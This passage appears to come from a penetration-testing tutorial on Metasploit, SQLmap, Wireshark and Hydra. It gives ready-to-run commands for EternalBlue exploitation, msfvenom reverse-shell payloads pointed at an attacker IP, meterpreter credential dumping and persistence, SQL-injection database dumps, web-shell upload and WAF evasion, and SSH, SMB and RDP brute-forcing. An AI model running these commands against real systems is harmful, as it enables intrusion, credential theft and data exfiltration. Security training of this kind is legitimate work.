auxiliary/scanner/snmp/snmp_enum msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.1.1-254 msf6 auxiliary(scanner/snmp/snmp_enum) > run # === DATABASE === # MySQL version scanner: msf6 > use auxiliary/scanner/mysql/mysql_version msf6 auxiliary(scanner/mysql/mysql_version) > set RHOSTS 192.168.1.10 msf6 auxiliary(scanner/mysql/mysql_version) > run # MySQL login brute force: msf6 > use auxiliary/scanner/mysql/mysql_login msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.1.10 msf6 auxiliary(scanner/mysql/mysql_login) > set USER_FILE users.txt msf6 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE passwords.txt msf6 auxiliary(scanner/mysql/mysql_login) > run # PostgreSQL version: msf6 > use auxiliary/scanner/postgres/postgres_version # MSSQL version: msf6 > use auxiliary/scanner/mssql/mssql_ping

💡 Metasploit Framework Summary

Complete Metasploit workflow:

1. Reconnaissance (Auxiliary):
• auxiliary/scanner/portscan/tcp → Find open ports
• auxiliary/scanner/smb/smb_version → Identify Windows version
• auxiliary/scanner/smb/smb_ms17_010 → Check for EternalBlue

2. Exploitation:
• search eternalblue → Find exploit
• use exploit/windows/smb/ms17_010_eternalblue
• set RHOSTS target_ip
• set payload windows/x64/meterpreter/reverse_tcp
• set LHOST attacker_ip
• exploit → Get meterpreter!

3. Post-Exploitation (Meterpreter):
• getsystem → Escalate to SYSTEM
• hashdump → Dump password hashes
• load kiwi + creds_all → Dump credentials
• screenshot → Capture screenshot
• keyscan_start → Start keylogger
• run autoroute -s 192.168.2.0/24 → Pivot to internal network
• run persistence → Maintain access

4. Payload Generation (Msfvenom):
• Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
• Linux: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
• PHP: msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php
• Android: msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk

Key concepts:
• Exploit: Takes advantage of vulnerability
• Payload: Code that runs after exploit (meterpreter, shell)
• LHOST: Local host (attacker IP for reverse shell)
• RHOST: Remote host (target IP)
• Meterpreter: Advanced payload with file transfer, pivoting, persistence
• Sessions: Active connections (shells/meterpreter)

Pro tips:
• Always use -j for background jobs
• sessions -l to list all sessions
• sessions -i 1 to interact with session
• search rank:excellent for reliable exploits
• exploit/multi/handler for custom payloads
• Learn: Offensive Security's Metasploit Unleashed (free!)

Metasploit = #1 exploitation framework. Master it = exploit anything! 💣🎯

SQLmap (THE Automatic SQL Injection Tool)

What is it? SQLmap is THE industry-standard automated SQL injection tool. It detects and exploits SQL injection vulnerabilities in web applications. Supports 20+ database types, has 100+ options, and can take over entire databases automatically!

Basic SQL Injection Testing
# Simplest test (single URL with parameter): sqlmap -u "http://target.com/page.php?id=1" # BEGINNER EXPLANATION: # SQLmap tests the 'id' parameter for SQL injection # It tries different injection payloads automatically # If vulnerable, it exploits and gives you database access! # Test POST data: sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" # --data ← POST parameters to test # Test from Burp Suite request file: sqlmap -r request.txt # -r request.txt ← Load HTTP request from file # How to get request.txt: # 1. Burp Suite → Proxy → Intercept request # 2. Right-click → Copy to file → Save as request.txt # 3. Run sqlmap -r request.txt # Test specific parameter: sqlmap -u "http://target.com/page.php?id=1&name=test" -p id # -p id ← Only test 'id' parameter (faster!) # Test cookie: sqlmap -u "http://target.com/page.php" --cookie="PHPSESSID=abc123; user_id=5" # --cookie ← Include cookies (for authenticated pages) # Test headers: sqlmap -u "http://target.com/page.php" --headers="X-Forwarded-For: 127.0.0.1" # --headers ← Custom HTTP headers # User-Agent: sqlmap -u "http://target.com/page.php" --user-agent="Mozilla/5.0" # --user-agent ← Custom User-Agent string
Database Enumeration - Extract Data
# === STEP-BY-STEP DATABASE EXTRACTION === # Step 1: List all databases sqlmap -u "http://target.com/page.php?id=1" --dbs # --dbs ← List all database names # Output: information_schema, mysql, webapp_db, etc. # Step 2: List tables in specific database sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --tables # -D webapp_db ← Select database 'webapp_db' # --tables ← List all tables in this database # Output: users, products, orders, admin, etc. # Step 3: List columns in specific table sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --columns # -T users ← Select table 'users' # --columns ← List all column names # Output: id, username, password, email, role, etc. # Step 4: Dump data from specific columns sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users -C username,password --dump # -C username,password ← Select specific columns # --dump ← Extract all data from these columns! # Output: Saves to CSV file with usernames + password hashes! # Dump entire table: sqlmap -u "http://target.com/page.php?id=1" -D webapp_db -T users --dump # Dumps ALL columns from 'users' table # Dump entire database: sqlmap -u "http://target.com/page.php?id=1" -D webapp_db --dump-all # --dump-all ← Dump EVERYTHING in database! # Get current database: sqlmap -u "http://target.com/page.php?id=1" --current-db # --current-db ← Show which database the web app uses # Get current user: sqlmap -u "http://target.com/page.php?id=1" --current-user # --current-user ← Show database username (e.g., 'webapp_user@localhost') # Check if user is DBA: sqlmap -u "http://target.com/page.php?id=1" --is-dba # --is-dba ← Check if current user has admin privileges # If TRUE = you can execute OS commands!
Advanced Exploitation - OS Command Execution
# === FILE SYSTEM ACCESS === # Read file from server: sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" # --file-read ← Read file from server # Saved locally for analysis! # Common files to read: # Linux: # /etc/passwd ← User accounts # /etc/shadow ← Password hashes (if DBA!) # /var/www/html/config.php ← Database credentials # /root/.ssh/id_rsa ← SSH private key # Windows: # C:\\Windows\\System32\\drivers\\etc\\hosts # C:\\inetpub\\wwwroot\\web.config ← Database creds # C:\\Users\\Administrator\\Desktop\\passwords.txt # Write file to server (web shell!): sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php" # --file-write ← Local file to upload # --file-dest ← Remote path where file will be written # Example shell.php: # # Access: http://target.com/shell.php?cmd=whoami # === OS COMMAND EXECUTION === # Get OS shell: sqlmap -u "http://target.com/page.php?id=1" --os-shell # --os-shell ← Interactive OS command shell! # Requires: DBA privileges OR file write access # You get: Full shell access! # Commands: # os-shell> whoami # os-shell> cat /etc/passwd # os-shell> ls -la # Execute single command: sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" # --os-cmd ← Execute one OS command # Get SQL shell: sqlmap -u "http://target.com/page.php?id=1" --sql-shell # --sql-shell ← Interactive SQL query interface # Run ANY SQL query: # sql-shell> SELECT * FROM users; # sql-shell> CREATE TABLE backdoor ...;
Performance & Stealth Options
# === SPEED & THREADS === # Multi-threading (faster!): sqlmap -u "http://target.com/page.php?id=1" --threads=10 # --threads=10 ← Use 10 concurrent threads # Default: 1 thread # Max recommended: 10 (more = may crash app) # Increase delay between requests (stealth): sqlmap -u "http://target.com/page.php?id=1" --delay=3 # --delay=3 ← Wait 3 seconds between requests # Use for: Evading rate limiting, IDS evasion # Randomize delay: sqlmap -u "http://target.com/page.php?id=1" --delay=2-5 # Random delay between 2-5 seconds # === TECHNIQUE SELECTION === # Specify injection technique: sqlmap -u "http://target.com/page.php?id=1" --technique=B # --technique ← Injection techniques to use: # B = Boolean-based blind # E = Error-based # U = UNION query-based # S = Stacked queries # T = Time-based blind # Q = Inline queries # Default: BEUSTQ (tries all) # Fast scan (Boolean + Time only): sqlmap -u "http://target.com/page.php?id=1" --technique=BT # UNION-based only (fastest if works): sqlmap -u "http://target.com/page.php?id=1" --technique=U # === RISK & LEVEL === # Increase test level (more thorough): sqlmap -u "http://target.com/page.php?id=1" --level=5 # --level=1-5 ← Test thoroughness # 1 = Default (fast, basic tests) # 2 = Also test cookies # 3 = Also test User-Agent, Referer headers # 4 = More payload variations # 5 = Maximum tests (SLOW but complete!) # Increase risk (more aggressive payloads): sqlmap -u "http://target.com/page.php?id=1" --risk=3 # --risk=1-3 ← Payload aggressiveness # 1 = Safe (won't harm database) # 2 = Medium (heavy queries) # 3 = Maximum (may cause damage, DoS!) # Aggressive full scan: sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3 --threads=10 # Slowest but finds EVERYTHING!
Bypass Techniques - Evade WAF/IDS
# === WAF BYPASS === # Tamper scripts (obfuscate payloads): sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment # --tamper ← Use tamper script to modify payloads # space2comment: Replaces spaces with /**/ comments # Original: SELECT * FROM users # Tampered: SELECT/**/FROM/**/users # List all tamper scripts: sqlmap --list-tampers # Popular tampers: # space2comment ← Replace spaces # between ← Replace > with BETWEEN # charencode ← URL encode characters # charunicodeencode ← Unicode encoding # randomcase ← RaNdOm CaSe # space2plus ← Replace spaces with + # versionedmorekeywords ← Add version comments # base64encode ← Base64 encode # Multiple tamper scripts: sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,randomcase # Random User-Agent: sqlmap -u "http://target.com/page.php?id=1" --random-agent # --random-agent ← Use random User-Agent header # Evades: User-Agent-based filtering # HTTP Authentication: sqlmap -u "http://target.com/page.php?id=1" --auth-type=Basic --auth-cred="user:pass" # --auth-type ← Basic, Digest, or NTLM # --auth-cred ← username:password # Proxy: sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" # --proxy ← Route through proxy (Burp Suite!) # View all requests in Burp! # Tor: sqlmap -u "http://target.com/page.php?id=1" --tor # --tor ← Route through Tor network (anonymity!) # Must have Tor running: sudo systemctl start tor # === BYPASS NULL BYTES === # Add null byte suffix: sqlmap -u "http://target.com/page.php?id=1" --suffix="%00" # --suffix ← Append to every payload # Bypasses: Some WAF filters # Add prefix: sqlmap -u "http://target.com/page.php?id=1" --prefix="') OR 1=1--" # --prefix ← Prepend to payload
Output & Session Management
# === OUTPUT OPTIONS === # Verbose output: sqlmap -u "http://target.com/page.php?id=1" -v 3 # -v 0 ← Minimal output # -v 1 ← Default # -v 2 ← Verbose # -v 3 ← Very verbose (HTTP requests shown) # -v 4 ← Debug HTTP requests # -v 5 ← Debug HTTP responses # -v 6 ← Everything (maximum debug!) # Save output to file: sqlmap -u "http://target.com/page.php?id=1" --output-dir="/tmp/sqlmap_output" # --output-dir ← Directory for output files # === SESSION MANAGEMENT === # Resume previous session: sqlmap -u "http://target.com/page.php?id=1" --resume # --resume ← Continue from last scan # SQLmap automatically saves progress! # Flush session (start fresh): sqlmap -u "http://target.com/page.php?id=1" --flush-session # --flush-session ← Delete saved session data # === AUTOMATION === # Batch mode (no prompts): sqlmap -u "http://target.com/page.php?id=1" --batch # --batch ← Accept all default options # Use for: Automated scanning without interaction # Crawl website and test all forms: sqlmap -u "http://target.com" --crawl=3 # --crawl=3 ← Crawl depth (3 levels) # Automatically tests ALL found forms! # Test Google search results: sqlmap -g "inurl:php?id=" # -g ← Google dorking # Finds and tests vulnerable URLs from Google!
Database-Specific Options
# Specify DBMS (skip detection): sqlmap -u "http://target.com/page.php?id=1" --dbms=MySQL # --dbms ← Specify database type: # MySQL, PostgreSQL, MSSQL, Oracle, SQLite, Access, etc. # Faster (skips fingerprinting)! # MySQL-specific: sqlmap -u "http://target.com/page.php?id=1" --dbms=MySQL --dump-all --exclude-sysdbs # --exclude-sysdbs ← Skip system databases # Ignores: information_schema, mysql, performance_schema # MSSQL-specific: sqlmap -u "http://target.com/page.php?id=1" --dbms=MSSQL --sql-query="xp_cmdshell 'whoami'" # xp_cmdshell = MSSQL command execution! # PostgreSQL-specific: sqlmap -u "http://target.com/page.php?id=1" --dbms=PostgreSQL --file-read="/etc/passwd" # PostgreSQL allows file reads with COPY!

💡 SQLmap Complete Workflow

Professional SQL injection testing process:

1. Discovery (Find injection point):
• Test single parameter: sqlmap -u "http://target.com/page.php?id=1"
• Test POST data: sqlmap -u "URL" --data="param1=value1"
• Test from Burp: sqlmap -r request.txt

2. Enumeration (Extract database structure):
• List databases: --dbs
• List tables: -D database_name --tables
• List columns: -D db -T table --columns
• Dump data: -D db -T users -C username,password --dump

3. Exploitation (Take over system):
• Check privileges: --is-dba
• Read files: --file-read="/etc/passwd"
• Write web shell: --file-write="shell.php" --file-dest="/var/www/html/shell.php"
• OS shell: --os-shell

4. Evasion (Bypass WAF):
• Tamper scripts: --tamper=space2comment,randomcase
• Random User-Agent: --random-agent
• Proxy through Burp: --proxy="http://127.0.0.1:8080"
• Tor anonymity: --tor

Common attack chains:
1. Basic SQLi → Database dump: Test → --dbs → --tables → --dump
2. SQLi → Web shell: Check DBA → --file-write shell.php → Access shell
3. SQLi → SSH: --file-read /root/.ssh/id_rsa → Use key to SSH
4. SQLi → Password hashes: --dump users table → Crack with hashcat

Pro tips:
• Always use --batch for automated scanning
• Use --threads=10 for speed
• Use --level=5 --risk=3 for maximum detection
• Save Burp requests to file for complex injections
• Check /usr/share/sqlmap for tamper scripts
• Output saved to: ~/.local/share/sqlmap/output/

SQLmap = THE automatic SQL injection tool. Master it = own ANY database! 💉🗃️

Wireshark (THE Ultimate Packet Analysis Tool)

What is Wireshark? Wireshark is the world's most popular network protocol analyzer. It captures network traffic in real-time and allows you to inspect every single packet at a microscopic level. Think of it as a "network microscope" - you can see EXACTLY what's happening on the wire, analyze protocols (HTTP, DNS, TCP, UDP, TLS, etc.), troubleshoot network issues, detect malicious activity, and reconstruct entire communication sessions.

Why Wireshark? It supports 2000+ protocols, has powerful filtering capabilities, can decrypt encrypted traffic (with keys), and provides deep inspection of every layer from Ethernet to application data. Essential for network forensics, malware analysis, pentesting, and understanding how networks work!

Installation & Interface
# Wireshark is pre-installed on Kali Linux
wireshark

# Or install on other systems:
sudo apt install wireshark      # Debian/Ubuntu
sudo yum install wireshark      # RedHat/CentOS
brew install wireshark          # macOS

# Command-line version (tshark):
tshark --version

Beginner's Explanation:

Starting a Capture
# 1. Launch Wireshark GUI
wireshark

# 2. Select interface (eth0, wlan0, etc.)
# 3. Click blue shark fin to start capture
# 4. Do your network activity (browse websites, run scans, etc.)
# 5. Click red square to stop capture
# 6. Save capture: File → Save As → capture.pcap

# Capture from command line (tshark):
sudo tshark -i eth0 -w capture.pcap        # Capture to file
sudo tshark -i eth0 -c 100                 # Capture 100 packets
sudo tshark -i eth0 -a duration:60         # Capture for 60 seconds
sudo tshark -i eth0 -f "port 80"           # Capture with filter

Flag Explanations:

Capture Filters vs Display Filters

Critical Distinction: Wireshark has TWO types of filters that work completely differently!

# CAPTURE FILTERS (Applied DURING capture - uses BPF syntax):
# Set before starting capture, cannot be changed during capture
# Syntax: host, port, tcp, udp, src, dst, and, or, not

host 192.168.1.1                    # Capture only traffic to/from this IP
port 80                             # Capture only HTTP traffic
tcp port 443                        # Capture only HTTPS traffic
src host 10.10.10.5                 # Capture only from source IP
dst port 53                         # Capture only to destination port 53 (DNS)
host 192.168.1.1 and port 80        # Capture HTTP traffic to/from specific IP
not broadcast and not multicast     # Exclude broadcast/multicast traffic
tcp[13] & 2 != 0                    # Capture only TCP SYN packets

# DISPLAY FILTERS (Applied AFTER capture - uses Wireshark syntax):
# Applied to already captured packets, can be changed anytime
# Much more powerful and flexible than capture filters!

ip.addr == 192.168.1.1              # Show traffic to/from this IP
tcp.port == 80                      # Show HTTP traffic
http                                # Show only HTTP packets
http.request.method == "POST"       # Show only HTTP POST requests
tcp.flags.syn == 1                  # Show TCP SYN packets
dns.qry.name contains "google"      # Show DNS queries for google
frame.len > 1000                    # Show packets larger than 1000 bytes

When to Use Which?

Essential Display Filters
# Basic Protocol Filters:
http                                # HTTP traffic
https                               # HTTPS traffic (encrypted)
dns                                 # DNS queries/responses
tcp                                 # TCP packets
udp                                 # UDP packets
icmp                                # ICMP (ping)
arp                                 # ARP requests/responses
ftp                                 # FTP traffic
ssh                                 # SSH traffic
telnet                              # Telnet (unencrypted!)
smtp                                # Email (SMTP)

# IP Address Filters:
ip.addr == 10.10.10.5               # Traffic to/from this IP
ip.src == 192.168.1.10              # Traffic FROM this source IP
ip.dst == 8.8.8.8                  # Traffic TO this destination IP
!(ip.addr == 192.168.1.1)           # Exclude this IP

# Port Filters:
tcp.port == 445                    # SMB traffic
udp.port == 53                     # DNS
tcp.dstport == 443                 # HTTPS (destination port)
tcp.srcport == 1234                # From source port 1234

# HTTP-Specific Filters:
http.request                        # HTTP requests only
http.response                       # HTTP responses only
http.request.method == "GET"        # GET requests
http.request.method == "POST"       # POST requests
http.request.uri contains "admin"   # URLs containing "admin"
http.host == "example.com"          # Requests to specific host
http.cookie contains "session"      # Cookies with "session"
http.response.code == 200           # HTTP 200 OK responses
http.response.code == 404           # HTTP 404 errors
http.response.code >= 400           # All HTTP errors (4xx, 5xx)
http.user_agent contains "curl"     # Specific user agent

# DNS Filters:
dns.qry.name == "example.com"       # DNS query for domain
dns.qry.type == 1                   # A records (IPv4)
dns.qry.type == 28                  # AAAA records (IPv6)
dns.flags.response == 1             # DNS responses only

# TCP Flag Filters:
tcp.flags.syn == 1                  # SYN packets (connection start)
tcp.flags.ack == 1                  # ACK packets
tcp.flags.reset == 1               # RST packets (connection reset)
tcp.flags.fin == 1                 # FIN packets (connection close)
tcp.flags == 0x002                 # SYN flag only
tcp.flags == 0x012                 # SYN+ACK
tcp.flags == 0x018                 # PSH+ACK (data transmission)

# Advanced Filters:
frame.len > 1000                    # Large packets (> 1000 bytes)
tcp.analysis.retransmission         # TCP retransmissions (network issues)
tcp.analysis.duplicate_ack          # Duplicate ACKs (packet loss)
tcp.stream eq 0                    # First TCP conversation
tcp.stream eq 1                    # Second TCP conversation
frame.time_delta > 5                # Packets with > 5 sec gap (delays)

# String Matching:
tcp contains "password"             # Packets containing "password"
http contains "Authorization"       # HTTP auth headers
frame contains "admin"              # Any packet with "admin"
data contains 50:41:53:53          # Hex search (PASS in ASCII)

# Combining Filters:
http and ip.addr == 10.10.10.5                  # HTTP from specific IP
tcp.port == 445 and ip.src == 192.168.1.10      # SMB from source IP
(http.request.method == "POST") and (http contains "password")  # POST with password
dns or http or https                            # Multiple protocols
!(arp or icmp)                                  # Exclude ARP and ICMP

Filter Syntax Tips:

Follow Streams - Reconstruct Communication
# Follow TCP Stream:
# Right-click packet → Follow → TCP Stream
# Shows entire conversation in ASCII/HEX

# Follow UDP Stream:
# Right-click packet → Follow → UDP Stream

# Follow HTTP Stream:
# Right-click packet → Follow → HTTP Stream
# Shows full HTTP request + response

# Command-line (tshark):
tshark -r capture.pcap -z follow,tcp,ascii,0        # Follow TCP stream 0
tshark -r capture.pcap -z follow,tcp,hex,1          # Follow stream 1 in hex
tshark -r capture.pcap -z follow,udp,ascii,0        # Follow UDP stream

Why Follow Streams? Packets are fragmented - one HTTP request might span 10 packets. "Follow Stream" reassembles the entire conversation so you can read it like a chat transcript. Perfect for reading HTTP requests, FTP credentials, extracted files, etc.

Export Objects - Extract Files from Traffic
# GUI: File → Export Objects → HTTP/SMB/TFTP/etc.
# Extracts files transferred over these protocols

# Export HTTP objects (images, downloads, etc.):
File → Export Objects → HTTP → Save All

# Export SMB objects (files shared via SMB):
File → Export Objects → SMB

# Command-line (tshark):
tshark -r capture.pcap --export-objects http,./exported_files/
tshark -r capture.pcap --export-objects smb,./smb_files/

Real-World Use: Capture malware downloads, extract images from web browsing, recover files from SMB shares, analyze transferred documents!

Statistics & Analysis Tools
# Protocol Hierarchy (Statistics → Protocol Hierarchy):
# Shows breakdown of all protocols in capture
# Example: HTTP: 45%, DNS: 10%, TLS: 30%, etc.

# Conversations (Statistics → Conversations):
# Shows all communication pairs (who talked to who)
# Tabs: Ethernet, IPv4, IPv6, TCP, UDP

# Endpoints (Statistics → Endpoints):
# Lists all IPs/MACs and their traffic volume

# IO Graphs (Statistics → I/O Graphs):
# Visual timeline of traffic (packets/bytes over time)
# Can graph multiple filters simultaneously

# Command-line (tshark):
tshark -r capture.pcap -qz io,phs                   # Protocol hierarchy
tshark -r capture.pcap -qz conv,tcp                 # TCP conversations
tshark -r capture.pcap -qz endpoints,ip             # IP endpoints

Why Use This? Get a bird's-eye view of network activity. "Who's talking to who?" "What protocols are used most?" "Which IP sent the most data?" Perfect for finding anomalies!

Expert Information - Find Problems
# Analyze → Expert Information (or bottom-left colorful button)

# Error levels:
# 🔴 Error: Serious problems (malformed packets, checksum errors)
# 🟡 Warning: Suspicious activity (retransmissions, duplicate ACKs)
# 🔵 Note: Informational (connection established, zero window)
# 💬 Chat: Normal events (TCP handshakes, HTTP requests)

# Common Expert Info:
"TCP Previous segment not captured"     # Packet loss detected
"TCP Retransmission"                    # Packet was resent
"TCP Dup ACK"                          # Duplicate acknowledgment
"TCP Window Full"                      # Receiver buffer full
"TCP Zero Window"                      # Receiver can't accept more data
"Connection reset"                      # TCP RST sent
"Malformed Packet"                      # Invalid protocol data

Why Expert Info? Wireshark automatically analyzes captures and flags potential problems. Great starting point for troubleshooting!

Decrypting SSL/TLS Traffic
# Method 1: Use pre-master secret (from browser/client):
# 1. Set environment variable BEFORE starting browser:
export SSLKEYLOGFILE=/tmp/ssl_keys.log
chromium-browser    # Or firefox

# 2. Browse HTTPS sites (keys logged to file)
# 3. In Wireshark: Edit → Preferences → Protocols → TLS
#    → (Pre)-Master-Secret log filename → Browse to /tmp/ssl_keys.log
# 4. Reload capture - HTTPS traffic now decrypted!

# Method 2: Use server's private key (if you own the server):
# Wireshark → Edit → Preferences → Protocols → TLS
# → RSA keys list → Add:
#    IP: 192.168.1.10
#    Port: 443
#    Protocol: http
#    Key File: /path/to/server.key

# Limitations:
# - Cannot decrypt if Diffie-Hellman (DHE/ECDHE) used without key logging
# - Cannot decrypt traffic you didn't capture from the start

Real-World Use: Analyze your own HTTPS traffic for debugging, inspect encrypted malware communication (if you have keys), decrypt VPN traffic for forensics!

Command-Line Power (tshark)
# Basic tshark usage:
tshark -r capture.pcap                              # Read and display
tshark -r capture.pcap -Y "http"                    # Display filter
tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri
                                                # Extract specific fields

# Common tshark flags:
tshark -i eth0              # Capture from interface
tshark -r file.pcap         # Read from file
tshark -w output.pcap       # Write to file
tshark -Y "filter"          # Display filter
tshark -f "filter"          # Capture filter
tshark -c 100               # Capture 100 packets
tshark -a duration:60       # Auto-stop after 60 seconds
tshark -T fields            # Output as fields
tshark -e field.name        # Specify field to extract
tshark -E separator=,       # Field separator (for CSV)
tshark -q                    # Quiet mode (no per-packet output)
tshark -z option            # Statistics

# Extract HTTP URLs:
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri

# Extract DNS queries:
tshark -r capture.pcap -Y "dns.qry.type == 1" -T fields -e dns.qry.name

# Extract credentials:
tshark -r capture.pcap -Y "http" | grep -i "password"
tshark -r capture.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg

# Count packets by protocol:
tshark -r capture.pcap -qz io,phs

# Export HTTP objects:
tshark -r capture.pcap --export-objects http,./extracted/

# Statistics:
tshark -r capture.pcap -qz conv,tcp         # TCP conversations
tshark -r capture.pcap -qz endpoints,ip     # IP endpoints
tshark -r capture.pcap -qz http,tree        # HTTP stats
tshark -r capture.pcap -qz dns,tree         # DNS stats

🎯 Wireshark Mastery Summary:

1. Capture Strategy: Use capture filters for large networks (reduces file size). Capture everything for small networks. Always save captures for later analysis!

2. Display Filters: Master these essentials: http (web traffic), dns (name resolution), tcp.port == X (specific service), ip.addr == X (specific host), tcp.flags.syn == 1 (connection attempts), tcp.analysis.retransmission (network issues), frame contains "password" (credential search)

3. Follow Streams: Right-click packet → Follow → TCP/UDP/HTTP Stream to reconstruct entire conversations. Essential for reading HTTP requests, extracting FTP credentials, analyzing protocols.

4. Export Objects: File → Export Objects → HTTP/SMB to extract transferred files (images, downloads, documents, malware samples)

5. Statistics: Use Protocol Hierarchy for overview, Conversations to see who's talking to who, Endpoints to identify traffic volume. Use Expert Info (bottom-left) to automatically find problems.

6. SSL Decryption: Set SSLKEYLOGFILE=/tmp/keys.log BEFORE browsing, then load keys in Wireshark (Edit → Preferences → Protocols → TLS → Pre-Master-Secret log filename)

7. tshark Power: Automate analysis with -Y display filters, extract specific fields with -T fields -e field.name, generate statistics with -qz, export objects with --export-objects

Real-World Workflows:
• Web debugging: http filter → Follow HTTP Stream → Check request/response → Identify slow resources
• Malware analysis: dns filter → Identify C2 domains → http filter → Export Objects → Analyze payloads
• Network troubleshooting: tcp.analysis.retransmission → Expert Info → Identify packet loss/delays
• Credential harvesting: frame contains "password" → Follow TCP Stream → Extract plaintext credentials
• WiFi pentesting: Capture on wlan0mon → eapol filter → Extract WPA handshake → Crack with aircrack-ng

Golden Rules: (1) Capture first, ask questions later. (2) Use display filters, not capture filters (more flexible). (3) Follow streams to see the full picture. (4) Check Expert Info for automatic problem detection. (5) Save your captures! 🦈

Hydra (THE Multi-Protocol Brute-Forcing Tool)

What is Hydra? Hydra (also called THC-Hydra) is a parallelized network authentication cracker. It supports brute-forcing and dictionary attacks against 50+ protocols including SSH, FTP, HTTP, HTTPS, SMB, RDP, VNC, MySQL, PostgreSQL, MSSQL, SMTP, POP3, IMAP, LDAP, and many more. Think of it as the "Swiss Army knife" of password cracking - one tool, dozens of protocols!

Why Hydra? It's FAST (parallel connections), supports tons of protocols, has smart features (resume sessions, flexible username/password lists), and is the go-to tool for brute-forcing network services during pentests!

Basic Installation & Usage
# Hydra is pre-installed on Kali Linux
hydra -h

# Or install on other systems:
sudo apt install hydra        # Debian/Ubuntu
sudo yum install hydra        # RedHat/CentOS
brew install hydra           # macOS

# Basic syntax:
hydra [options] [target] [protocol]://[IP/hostname]
Essential Hydra Flags
# Target specification:
-l LOGIN               # Single username
-L FILE                # Username list file
-p PASS                # Single password
-P FILE                # Password list file
-C FILE                # Colon-separated "login:pass" file
-M FILE                # List of target servers (one per line)

# Performance options:
-t TASKS              # Number of parallel connections (default: 16)
-w TIMEOUT             # Timeout in seconds (default: 30)
-W WAITTIME            # Wait time between attempts (throttling)

# Control options:
-f                     # Exit after first found login/password
-F                     # Exit after first valid login for any user
-v                     # Verbose output (show attempts)
-V                     # Very verbose (show login+pass for every attempt)
-q                     # Quiet mode (don't show attempts)
-o FILE                # Write results to file
-b FORMAT              # Output format (text, json, jsonv1)

# Protocol-specific options:
-s PORT                # Custom port number
-S                     # Use SSL/TLS
-m OPT                 # Module-specific options (varies by protocol)

# Advanced options:
-e nsr                # Try "n" (null password), "s" (same as username), "r" (reverse username)
-u                     # Loop users first (try all passwords for user1, then user2, etc.)
-R                     # Restore previous session
-I                     # Ignore existing restore file (start fresh)

Flag Explanations:

SSH Brute-Forcing
# Single username, password list:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.5

# Username + password lists:
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# Custom port:
hydra -l root -P passwords.txt ssh://10.10.10.5 -s 2222

# Verbose with 4 parallel connections (stealthy):
hydra -l admin -P rockyou.txt -t 4 -v ssh://target.com

# Try common patterns (null, same as username, reverse):
hydra -L users.txt -e nsr ssh://10.10.10.5

# Loop users first (avoid lockout):
hydra -L users.txt -P passwords.txt -u ssh://10.10.10.5

# Save results to file:
hydra -l admin -P rockyou.txt -o ssh_results.txt ssh://10.10.10.5

Real-World Use: SSH is commonly exposed on pentests. Use small, targeted wordlists first (top 100 passwords), then escalate to rockyou.txt. ALWAYS use -u flag to avoid account lockouts!

FTP Brute-Forcing
# Basic FTP attack:
hydra -l admin -P passwords.txt ftp://10.10.10.5

# Custom port + verbose:
hydra -l ftp -P rockyou.txt -s 2121 -v ftp://target.com

# Try anonymous login + common passwords:
hydra -l anonymous -e nsr ftp://192.168.1.100

# Multiple targets from file:
hydra -l admin -P passwords.txt -M ftp_targets.txt ftp

Pro Tip: Always try "anonymous:anonymous" or "anonymous:" (null password) first - many FTP servers allow anonymous login!

HTTP/HTTPS Form Brute-Forcing
# HTTP POST form attack:
hydra -l admin -P passwords.txt 10.10.10.5 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP GET form attack:
hydra -l admin -P passwords.txt target.com http-get-form "/admin/login:user=^USER^&pass=^PASS^:F=incorrect"

# HTTPS POST (SSL):
hydra -l admin -P passwords.txt -S https://target.com http-post-form "/login:username=^USER^&password=^PASS^:Login failed"

# With custom headers (User-Agent, Cookie):
hydra -l admin -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid:H=User-Agent\: Mozilla/5.0:Cookie\: sessionid=abc123"

# Success condition (redirect or success message):
hydra -l admin -P passwords.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:S=Welcome"

Form Syntax Breakdown:

How to Find Form Parameters: Use Burp Suite to capture login request, copy POST data, replace username/password values with ^USER^ and ^PASS^

HTTP Basic Authentication
# HTTP Basic Auth:
hydra -l admin -P passwords.txt http-get://10.10.10.5/admin

# HTTPS Basic Auth:
hydra -l admin -P passwords.txt -S https://target.com/restricted

# Custom port:
hydra -l admin -P passwords.txt -s 8080 http-get://target.com/admin

What is Basic Auth? That popup box asking for username/password (not an HTML form). Common on routers, network devices, admin panels.

SMB / Windows Share Brute-Forcing
# SMB attack (Windows shares):
hydra -l Administrator -P passwords.txt smb://10.10.10.5

# Try null sessions + common passwords:
hydra -L users.txt -e nsr smb://192.168.1.100

# Domain authentication:
hydra -l DOMAIN\\username -P passwords.txt smb://10.10.10.5

Real-World Use: SMB brute-forcing against Windows machines. Use with username enumeration (enum4linux, CrackMapExec) to build target list!

RDP (Remote Desktop) Brute-Forcing
# RDP attack:
hydra -l administrator -P passwords.txt rdp://10.10.10.5

# Custom port + verbose:
hydra -l admin -P passwords.txt -s 3390 -v rdp://target.com

# Low parallel connections (avoid lockout):
hydra -l admin -P passwords.txt -t 2 rdp://10.10.10.5

